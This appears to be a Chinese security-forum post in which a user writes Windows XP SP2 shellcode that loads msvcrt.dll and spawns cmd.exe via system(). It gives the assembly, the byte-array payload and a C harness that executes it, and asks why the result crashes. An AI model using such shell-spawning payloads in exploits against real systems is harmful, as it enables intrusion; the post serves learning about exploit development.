我先用MASM 8.0写了这个程序
.386
.model flat,stdcall
option casemap:none
.data
.code
start:
;LoadLibraryA("msvcrt.dll")
push ebp
mov ebp,esp
push eax
push eax
push eax
mov eax,4356534Dh
mov dword ptr[ebp-0Ch], eax
mov eax,442E5452h
mov dword ptr[ebp-08h], eax
mov byte ptr[ebp-04h],4Ch
mov byte ptr[ebp-03h],4Ch
;我的系统是XP SP2 MSDN版 相关的函数地址也就是这个版本的
lea eax,[ebp-0Ch]
push eax
mov edx,7C801D77h
call edx
;system(cmd.exe)
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, 2E444D43h
mov dword ptr [ebp-08h], eax
mov byte ptr [ebp-04h], 45h
mov byte ptr [ebp-03h], 58h
mov byte ptr [ebp-02h], 45h
xor edx, edx
mov byte ptr [ebp-1h], dl
lea eax, dword ptr [ebp-08h]
push eax
mov eax, 77BF93C7h
call eax
;ExitProcess(0)
push 0
mov eax,7C81CDDAh
call eax
end start
然后用 OLLYDBG V1.10得到了它的机器代码:
00401000 > $ 55 PUSH EBP
00401001 . 8BEC MOV EBP,ESP
00401003 . 50 PUSH EAX
00401004 . 50 PUSH EAX
00401005 . 50 PUSH EAX
00401006 . B8 4D535643 MOV EAX,4356534D
0040100B . 8945 F4 MOV DWORD PTR SS:[EBP-C],EAX
0040100E . B8 52542E44 MOV EAX,442E5452
00401013 . 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX
00401016 . C645 FC 4C MOV BYTE PTR SS:[EBP-4],4C
0040101A . C645 FD 4C MOV BYTE PTR SS:[EBP-3],4C
0040101E . 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C]
00401021 . 50 PUSH EAX
00401022 . BA 771D807C MOV EDX,7C801D77
00401027 . FFD2 CALL EDX
00401029 . 55 PUSH EBP
0040102A . 8BEC MOV EBP,ESP
0040102C . 83EC 0C SUB ESP,0C
0040102F . B8 434D442E MOV EAX,2E444D43
00401034 . 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX
00401037 . C645 FC 45 MOV BYTE PTR SS:[EBP-4],45
0040103B . C645 FD 58 MOV BYTE PTR SS:[EBP-3],58
0040103F . C645 FE 45 MOV BYTE PTR SS:[EBP-2],45
00401043 . 33D2 XOR EDX,EDX
00401045 . 8855 FF MOV BYTE PTR SS:[EBP-1],DL
00401048 . 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
0040104B . 50 PUSH EAX
0040104C . B8 C793BF77 MOV EAX,77BF93C7
00401051 . FFD0 CALL EAX
00401053 . 6A 00 PUSH 0 ; /ExitCode = 0
00401055 . B8 DACD817C MOV EAX,kernel32.ExitProcess ; |
0040105A . FFD0 CALL EAX ; \ExitProcess
整理得到了很简单的Shellcode,但不知怎么回事,用不了了.
unsigned char shellcode[] =
"\x55\x8B\xEC\x50\x50\x50"
"\xB8\x4D\x53\x56\x43\x89"
"\x45\xF4\xB8\x52\x54\x2E"
"\x44\x89\x45\xF8\xC6\x45"
"\xFC\x4C\xC6\x45\xFD\x4C"
"\x8D\x45\xF4\x50\xBA\x77"
"\x1D\x80\x7C\xFF\xD2\x55"
"\x8B\xEC\x83\xEC\x0C\xB8"
"\x43\x4D\x44\x2E\x89\x45"
"\xF8\xC6\x45\xFC\x45\xC6"
"\x45\xFD\x58\xC6\x45\xFE"
"\x45\x33\xD2\x88\x55\xFF"
"\x8D\x45\xF8\x50\xB8\xC7"
"\x93\xBF\x77\xFF\xD0\x6A"
"\x00\xB8\xDA\xCD\x81\x7C"
"\xFF\xD0";
我用VC6.0执行Shellcode,代码如下,
int main()
{
((void(*)(void))shellcode)();
}
结果出现错误.
AppName: shellcode01.exe AppVer: 0.0.0.0 ModName: msvcrt.dll
ModVer: 7.0.2600.2180 Offset: 000193c7
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!